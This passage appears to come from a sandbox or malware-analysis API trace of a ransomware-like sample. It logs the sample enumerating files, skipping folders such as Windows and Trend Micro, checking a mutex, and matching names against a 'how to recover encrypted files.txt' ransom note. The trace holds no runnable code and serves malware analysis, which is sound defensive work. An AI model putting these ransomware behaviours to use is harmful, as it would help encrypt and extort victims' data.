(in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0057.152] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\") returned 0x32 [0057.152] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0057.152] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\") returned 0x32 [0057.152] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0057.152] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\") returned 0x32 [0057.152] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0057.152] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\") returned 0x32 [0057.152] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0057.153] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\") returned 0x32 [0057.153] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0057.153] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.153] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.153] GlobalUnlock (hMem=0x44000c) returned 0 [0057.153] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.153] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.153] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.153] GlobalUnlock (hMem=0x44000c) returned 0 [0057.153] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.153] GlobalUnlock (hMem=0x440004) returned 0 [0057.153] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0057.153] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.153] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0057.153] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0057.153] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.153] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.153] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.153] GlobalUnlock (hMem=0x440004) returned 0 [0057.153] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.153] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.153] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.153] GlobalUnlock (hMem=0x440004) returned 0 [0057.154] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.154] GlobalUnlock (hMem=0x44000c) returned 0 [0057.154] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.154] CharLowerBuffW (in: lpsz="msdasqlr.dll.mui", cchLength=0x10 | out: lpsz="msdasqlr.dll.mui") returned 0x10 [0057.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.154] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.154] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0057.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".mui DB\\en-US\\msdasqlr.dll.muie", lpUsedDefaultChar=0x0) returned 4 [0057.154] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.155] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.155] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.155] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.155] GlobalUnlock (hMem=0x44000c) returned 0 [0057.155] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.155] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.155] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.155] GlobalUnlock (hMem=0x44000c) returned 0 [0057.155] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.155] GlobalUnlock (hMem=0x440004) returned 0 [0057.155] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.155] CharLowerBuffW (in: lpsz="oledb32r.dll.mui", cchLength=0x10 | out: lpsz="oledb32r.dll.mui") returned 0x10 [0057.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.156] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.156] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.156] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0057.156] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".mui DB\\en-US\\oledb32r.dll.muie", lpUsedDefaultChar=0x0) returned 4 [0057.156] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.156] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.156] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.156] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.156] GlobalUnlock (hMem=0x440004) returned 0 [0057.156] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.156] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.156] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.156] GlobalUnlock (hMem=0x440004) returned 0 [0057.156] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.156] GlobalUnlock (hMem=0x44000c) returned 0 [0057.156] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.156] CharLowerBuffW (in: lpsz="sqloledb.rll.mui", cchLength=0x10 | out: lpsz="sqloledb.rll.mui") returned 0x10 [0057.156] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.156] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.156] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.156] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.156] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.156] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.156] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.157] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.157] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0057.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".mui DB\\en-US\\sqloledb.rll.muie", lpUsedDefaultChar=0x0) returned 4 [0057.157] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.157] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.157] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.157] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.157] GlobalUnlock (hMem=0x44000c) returned 0 [0057.157] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.157] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.157] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.157] GlobalUnlock (hMem=0x44000c) returned 0 [0057.157] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.157] GlobalUnlock (hMem=0x440004) returned 0 [0057.157] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.157] CharLowerBuffW (in: lpsz="sqlxmlx.rll.mui", cchLength=0xf | out: lpsz="sqlxmlx.rll.mui") returned 0xf [0057.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 